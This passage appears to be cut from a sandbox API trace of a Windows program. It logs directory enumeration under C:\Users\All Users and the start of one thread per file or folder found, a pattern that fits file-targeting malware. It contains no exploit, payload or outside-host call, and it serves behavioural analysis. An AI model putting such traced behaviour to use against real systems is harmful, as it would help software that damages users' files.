Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0076.665] wcscat (in: _Dest=0x33f1040, _Source="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0077.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f1040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68 [0077.524] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0077.524] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2=".") returned 1 [0077.524] wcscmp (_String1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", _String2="..") returned 1 [0077.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bdd0 [0077.524] wcscpy (in: _Dest=0x347bdd0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.524] wcscat (in: _Dest=0x347bdd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.524] wcscat (in: _Dest=0x347bdd0, _Source="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0077.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347bdd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0077.525] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0077.525] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2=".") returned 1 [0077.525] wcscmp (_String1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", _String2="..") returned 1 [0077.525] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f10f0 [0077.525] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.525] wcscat (in: _Dest=0x33f10f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.525] wcscat (in: _Dest=0x33f10f0, _Source="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0077.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f10f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0077.526] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0077.526] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2=".") returned 1 [0077.526] wcscmp (_String1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", _String2="..") returned 1 [0077.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33f11a0 [0077.526] wcscpy (in: _Dest=0x33f11a0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.526] wcscat (in: _Dest=0x33f11a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.526] wcscat (in: _Dest=0x33f11a0, _Source="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0077.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f11a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0077.526] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0077.526] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0077.526] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0077.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bca0 [0077.527] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.527] wcscat (in: _Dest=0x347bca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.527] wcscat (in: _Dest=0x347bca0, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0077.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347bca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0077.527] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0077.527] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0077.527] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0077.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c4f0 [0077.527] wcscpy (in: _Dest=0x347c4f0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.527] wcscat (in: _Dest=0x347c4f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.528] wcscat (in: _Dest=0x347c4f0, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0077.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0077.530] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0077.530] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0077.530] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0077.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347be68 [0077.530] wcscpy (in: _Dest=0x347be68, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.530] wcscat (in: _Dest=0x347be68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.530] wcscat (in: _Dest=0x347be68, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0077.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347be68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0077.531] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0077.531] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0077.531] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0077.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0d80 [0077.531] wcscpy (in: _Dest=0x33f0d80, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0077.531] wcscat (in: _Dest=0x33f0d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0077.531] wcscat (in: _Dest=0x33f0d80, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0077.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f0d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c [0077.532] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x342d8c8 | out: lpFindFileData=0x342d8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0077.532] FindClose (in: hFindFile=0x3433928 | out: hFindFile=0x3433928) returned 1 [0077.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8c8) returned 1 [0077.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9f68) returned 1 [0077.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa418) returned 1 [0077.532] RtlExitUserThread (Status=0x0) Thread: id = 141 os_tid = 0x10ac [0062.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x33fcb98 [0062.912] wcscpy (in: _Dest=0x33fcb98, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0062.912] wcscat (in: _Dest=0x33fcb98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0062.912] wcscat (in: _Dest=0x33fcb98, _Source="*" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*" [0062.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342cf28 [0062.912] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fa8 [0062.915] wcscmp (_String1=".", _String2=".") returned 0 [0062.915] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.915] wcscmp (_String1="..", _String2=".") returned 1 [0062.915] wcscmp (_String1="..", _String2="..") returned 0 [0062.915] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", cAlternateFileName="REGID1~3.SWI")) returned 1 [0062.915] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", _String2=".") returned 1 [0062.915] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", _String2="..") returned 1 [0062.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x341a5f8 [0062.915] wcscpy (in: _Dest=0x341a5f8, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0062.915] wcscat (in: _Dest=0x341a5f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0062.915] wcscat (in: _Dest=0x341a5f8, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0072.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0072.914] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbfefc00, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", cAlternateFileName="REGID1~2.SWI")) returned 1 [0072.914] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", _String2=".") returned 1 [0072.914] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", _String2="..") returned 1 [0072.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x347d5c8 [0072.914] wcscpy (in: _Dest=0x347d5c8, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0072.914] wcscat (in: _Dest=0x347d5c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0072.915] wcscat (in: _Dest=0x347d5c8, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0072.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0072.915] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf1446700, ftLastWriteTime.dwHighDateTime=0x1d0d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", cAlternateFileName="REGID1~4.SWI")) returned 1 [0072.915] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", _String2=".") returned 1 [0072.915] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", _String2="..") returned 1 [0072.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x102) returned 0x347d6d0 [0072.916] wcscpy (in: _Dest=0x347d6d0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0072.916] wcscat (in: _Dest=0x347d6d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0072.916] wcscat (in: _Dest=0x347d6d0, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0072.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0072.916] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 1 [0072.916] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", _String2=".") returned 1 [0072.916] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", _String2="..") returned 1 [0072.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434ea8 [0072.917] wcscpy (in: _Dest=0x3434ea8, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0072.917] wcscat (in: _Dest=0x3434ea8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0072.917] wcscat (in: _Dest=0x3434ea8, _Source="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" [0072.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0072.917] FindNextFileW (in: hFindFile=0x3433fa8, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f2e8f23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", cAlternateFileName="REGID1~1.SWI")) returned 0 [0072.917] FindClose (in: hFindFile=0x3433fa8 | out: hFindFile=0x3433fa8) returned 1 [0072.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf28) returned 1 [0072.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcb98) returned 1 [0072.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8258) returned 1 [0072.918] RtlExitUserThread (Status=0x0) Thread: id = 142 os_tid = 0x10b0 [0062.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481b58 [0062.916] wcscpy (in: _Dest=0x3481b58, _Source="C:\\Users\\All Users\\SoftwareDistribution" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution") returned="C:\\Users\\All Users\\SoftwareDistribution" [0062.916] wcscat (in: _Dest=0x3481b58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution\\") returned="C:\\Users\\All Users\\SoftwareDistribution\\" [0062.916] wcscat (in: _Dest=0x3481b58, _Source="*" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution\\*") returned="C:\\Users\\All Users\\SoftwareDistribution\\*" [0062.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342db30 [0062.916] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34341a8 [0062.916] wcscmp (_String1=".", _String2=".") returned 0 [0062.916] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, 